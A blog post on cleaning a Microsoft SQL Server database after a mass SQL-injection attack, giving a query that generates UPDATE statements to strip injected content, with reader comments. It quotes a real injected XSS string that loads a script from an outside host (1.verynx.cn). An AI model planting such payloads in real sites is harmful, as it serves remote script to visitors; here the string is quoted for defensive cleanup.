Whatterz


How to Fix a SQL Injection Attack

by Simon. Average Reading Time: about a minute.

In my previous post, What is a SQL Injection Attack, I gave a brief overview of SQL injection and Cross-Site Scripting (XSS), primarily with regard to websites. In the example given, we saw that an attack could take the form of a ‘hacked’ URL which contained either a literal SQL statement, or a hexadecimal string that could be interpreted by an insecure SQL database server.

Which ever method is used to inject SQL and ultimately dangerous scripts into the database, we need to know how to deal with the problem and ‘roll it back’ to a safe state.

If you have an up-to-date backup of the database prior to the attack, then restoring the database is the best course of action. If this is not the case, apart from giving yourself a kick for not implementing a backup policy, it is possible to programatically remove the injected string or code using a set of relatively-simple SQL queries.

Programatically Replace Injected Code

Fortunately, by the very nature of an XSS attack, code is appended to the data already in the database — rather than replacing it — which means we simply need to remove the appended content.

Taking a real-world example, below is string that was injected into the database:

"></title><script src="http://1.verynx.cn/w.js"></script><!--

When rendered by a standard HTML page, the string is either displayed to the user agent, or the JavaScript file is called by the page, causing a security threat.

With the example above, we can use the following script to recurse through and create update scripts for every ‘infected’ table and column (of the type char, nchar, varchar and nvarchar), in the database.

SELECT 'UPDATE [' + table_name + ']
SET ' + column_name + ' = REPLACE(CAST(' + column_name + ' as varchar(8000)), ''"></title><script src="http://1.verynx.cn/w.js"></script><!--'', '''')
WHERE ' + column_name + ' LIKE ''%"></title><script src="http://1.verynx.cn/w.js"></script><!--%'''
FROM information_schema.columns
WHERE (character_maximum_length is not NULL)
AND ([table_name] not like 'dt%')
AND ([table_name] not like 'sys%')

The resultset then produces update statements that look like the following (I have masked the actual table and column names):

UPDATE [tableName]
SET columnName = REPLACE(CAST(columnName AS VARCHAR(8000)), '"></title><script src="http://1.verynx.cn/w.js"></script><!--', '')
WHERE columnName LIKE '%"></title><script src="http://1.verynx.cn/w.js"></script><!--%'

These update statements can be copied into and run in a program such as Query Analyser for Microsoft SQL Server 2000, or SQL Server Management Studio for Microsoft SQL 2005.

If the actual code that was injected is different, simply change the above code to suit your needs.

You can download the SQL rollback script for your own needs.

Prevent a Successful Attack

As the popular idiom goes prevention is better than a cure, I will discuss in my next post how to mitigate against SQL Injection attacks — on ColdFusion-based websites — before they become a problem.

This article has been tagged

, , , , , , , , , , , , , , , ,

Other articles I recommend

What is a SQL Injection Attack

Over the past few weeks, subversive elements in the international arena have decided that attacking websites is a fun thing to do! The online world has become the new battle ground between nations vying to de-stabilise rivals. This may seem all very Jack Bauer, but we are increasingly seening ‘SQL injection attacks’ eminating from countries such as Russia, China and North Korea. Of course, that doesn’t mean our countries aren’t doing the same in return, but we only see the results from foreign-based attacks.

How to Protect Your Website from a Malicious Attack

Every seasoned developer will know that protecting your website from a hacker is a top priority, whether for your own reputation or for maintaining your company’s reputation and log-term revenue prospects.

SQL User-Defined Function: ReplaceChars

The SQL Replace function enables us to look for a certain character phrase in a string and replace it with another character phrase. The updated string is then returned by the function.

  • bigric

    Thank you! That really saved me a lot of time.

  • Pingback: SitePoint Blogs » All’s Quiet on the CF Front…()

  • Laju

    Thank you, it was really useful….

  • Brian

    I tried a lot of code to rid my ms sql database of these scripts that were put there from an injection attack. Until now, I had no success, you code saved my DB! Thanks so much. I had a lot of different types of scripts and a lot of table to go through. I ended up using this script:

    <|/1/>UPDATE [tableName]
    <|/1/>SET columnName = REPLACE(CAST(columnName <|/1/>AS <|/2/>VARCHAR(<| style="color: #cc66cc;">8000)), '"&gt;&lt;!--%'

    I went table by table and column by column to make sure I got it all. For future reference, how would you rewrite this script so that I can put the table, column, and offending script in as a variable?

  • Brian

    in the previous post, the script got cut out, what I used what the 2nd script and replaced the table name, column name, and injection script I wanted removed. Sometimes simple is better.

  • Here is derived table approach that can avoid SQL Injection
    http://beyondrelational.com/blogs/madhivanan/ar